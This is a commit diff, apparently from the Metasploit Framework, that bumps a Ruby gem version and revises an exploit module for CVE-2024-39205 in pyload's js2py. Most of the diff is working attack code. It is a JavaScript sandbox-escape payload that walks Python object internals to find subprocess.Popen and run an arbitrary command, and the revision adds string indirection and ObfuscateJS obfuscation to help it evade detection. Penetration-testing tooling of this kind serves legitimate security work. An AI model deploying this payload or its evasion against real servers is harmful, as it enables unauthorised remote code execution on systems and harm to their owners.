Ofuscation and Gemfile update

Author: jheysel-r7

Gemfile.lock

@@ -439,7 +439,7 @@ GEM
       rex-random_identifier
       rex-text
       ruby-rc4
-    rex-random_identifier (0.1.12)
+    rex-random_identifier (0.1.13)
       rex-text
     rex-registry (0.1.5)
     rex-rop_builder (0.1.5)

modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb

@@ -115,21 +115,24 @@ def exploit
   def javascript_payload(cmd)
     js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
 
-    <<~EOS
+    js = <<~EOS
       let #{js_vars[:command]} = "#{cmd}"
       let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}
       let #{js_vars[:getattr]}, #{js_vars[:obj]}
 
+      #{js_vars[:base]} = '__base__'
+      #{js_vars[:getattribute]} = '__getattribute__'
       #{js_vars[:hacked]} = Object.getOwnPropertyNames({})
-      #{js_vars[:bymarve]} = #{js_vars[:hacked]}.__getattribute__
+      #{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}]
       #{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__")
-      #{js_vars[:obj]} = #{js_vars[:n11]}("__class__").__base__
-      #{js_vars[:getattr]} = #{js_vars[:obj]}.__getattribute__
+      #{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}]
+      #{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}]
+      #{js_vars[:sub_class]} = '__subclasses__';
 
       function #{js_vars[:findpopen]}(#{js_vars[:o]}) {
           let #{js_vars[:result]};
-          for(let #{js_vars[:i]} in #{js_vars[:o]}.__subclasses__()) {
-              let #{js_vars[:item]} = #{js_vars[:o]}.__subclasses__()[#{js_vars[:i]}]
+          for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {
+              let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}]
               if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") {
                   return #{js_vars[:item]}
               }
@@ -141,6 +144,12 @@ def javascript_payload(cmd)
 
       #{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()
     EOS
+
+    opts = { "Strings" => true }
+
+    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
+    js.obfuscate(memory_sensitive: true)
+    js.to_s
   end
 
   def execute_command(cmd, _opts = {})